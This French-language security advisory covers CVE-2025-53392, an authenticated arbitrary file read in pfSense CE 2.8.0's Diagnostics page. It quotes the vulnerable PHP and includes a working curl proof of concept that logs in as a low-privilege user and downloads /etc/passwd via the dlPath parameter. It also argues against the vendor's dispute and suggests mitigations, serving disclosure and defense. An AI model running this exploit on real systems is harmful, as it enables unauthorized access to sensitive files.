
Lecture arbitraire de fichiers authentifiée dans pfSense 2.8.0 via l'interface web Diagnostics (CVE-2025-53392)
CVE-2025-53392CWE-36 (Traversée de chemin absolu)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NUniquement à des fins de test et de recherche autorisés. Ne testez ni n'exploitez cette vulnérabilité sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.
pfSense CE 2.8.0 contient une vulnérabilité de divulgation de fichiers locaux dans la page de diagnostic diag_command.php, qui permet aux utilisateurs authentifiés de télécharger des fichiers arbitraires depuis le système de fichiers sous-jacent.
Cette fonctionnalité ne comporte aucune normalisation des chemins, aucune restriction de répertoire ni aucun contrôle d'accès au-delà de l'attribution des permissions.
La logique vulnérable se trouve dans le fichier src/usr/local/www/diag_command.php :
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
Aucun contrôle de sécurité ni mesure de normalisation n'est appliqué au paramètre dlPath contrôlé par l'utilisateur.
Tout chemin de fichier que le processus PHP peut lire sera renvoyé à l'utilisateur.
Créez le groupe low-priv et attribuez un seul privilège (WebCfg - Diagnostics: Command)

Bien que je reconnaisse la présence d'un avertissement de sécurité pour le privilège
WebCfg - Diagnostics: Command, les avertissements seuls ne remplacent pas un contrôle d'accès solide.L'expression « Autoriser l'accès à la page de commande Diagnostics » est ambiguë et minimise le risque, elle permet une exécution de commandes au niveau root sans restriction, et pas seulement un accès aux diagnostics.
Les libellés de privilèges dans une interface Web doivent refléter avec précision la portée et la gravité des actions qu'ils autorisent, en particulier lorsqu'ils exposent un contrôle administratif complet.
Attribuez le groupe low-priv à l'utilisateur dev

Cette preuve de concept démontre qu'un utilisateur ne disposant que de la permission WebCfg - Diagnostics: Command peut exfiltrer /etc/passwd en abusant du paramètre dlPath non normalisé.
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

Tout utilisateur pfSense disposant du privilège WebCfg - Diagnostics: Command peut :
Cela viole le principe du moindre privilège et brise les frontières logiques des privilèges.
dlPath à un répertoire de base sûr (par exemple /tmp) en utilisant realpath() et le contrôle du préfixe.. ou les chemins absolusCVE-2025-53392 avec l'étiquette « contesté par le fournisseur »Bien que le fournisseur affirme que l'accès à cette page équivaut à un accès root, cela confond les permissions au niveau Web avec un accès back-end sans restriction.
Le privilège doit être techniquement appliqué (et non supposé), et les avertissements dans l'interface ne remplacent pas une conception sécurisée.
Contestant l'affirmation du fournisseur selon laquelle cette fonctionnalité est « bien documentée » - je n'ai trouvé aucune mention dans la documentation des privilèges utilisateur de pfSense indiquant que la permission WebCfg - Diagnostics: Command équivaut à un accès au niveau root.

Le fournisseur faisait peut-être référence à la page de commande Diagnostics, qui comprend un avertissement général concernant une mauvaise utilisation.
Mais la documentation ne relie pas explicitement cette fonctionnalité au privilège WebCfg - Diagnostics: Command et ne précise pas qu'elle accorde un accès au niveau root.
Le module de diagnostic de l'interface Web d'un pare-feu devrait contenir des garde-fous appropriés pour empêcher toute utilisation abusive du système d'exploitation sous-jacent.
Ce travail a été réalisé en dehors de mon emploi et reflète mes efforts personnels en recherche en cybersécurité.